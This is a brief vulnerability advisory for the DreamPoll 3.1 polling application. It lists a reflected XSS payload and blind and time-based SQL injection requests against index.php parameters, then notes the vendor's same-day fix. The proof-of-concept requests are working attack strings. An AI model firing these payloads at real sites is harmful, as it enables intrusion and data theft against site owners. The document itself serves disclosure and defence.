DreamPoll 3.1 Vulnerabilities


During a recent security audit of the DreamPoll 3.1 software by Dreamlevels, I discovered a number of XSS and SQL Injection vulnerabilities in the application.  These vulnerabilities could be exploited to make unauthorized changes to a web site or compromise a client accessing a site that utilizes the application.  Details of the vulnerabilities are as follows:

File: index.php
Variable: recordsPerPage
Example: GET /index.php?action=login&sortField=poll_default&sortDesc=1&recordsPerPage=1>”><ScRiPt%20%0d%0a>alert(911)%3B</ScRiPt>

Blind SQL/Xpath Injection
File: index.php
Variable: sortField
Example: GET /index.php?action=loginsortField=poll_default+and+31337-31337=0&sortDesc=1&recordsPerPage=20

Blind SQL Injection (Timing)

File: index.php
Variables: sortField, sortDesc, pageNumber
Example: GET /index.php?action=loginsortField=poll_default+and+sleep(3)%23&sortDesc=1&recordsPerPage=20

While not specifically tested, it is likely these vulnerabilities exist in earlier versions of this application as well.  The vendor was notified on 09/28/2009 and a fix was released the same day.  If you are a current user of this software, contact the vendor for the available fix.

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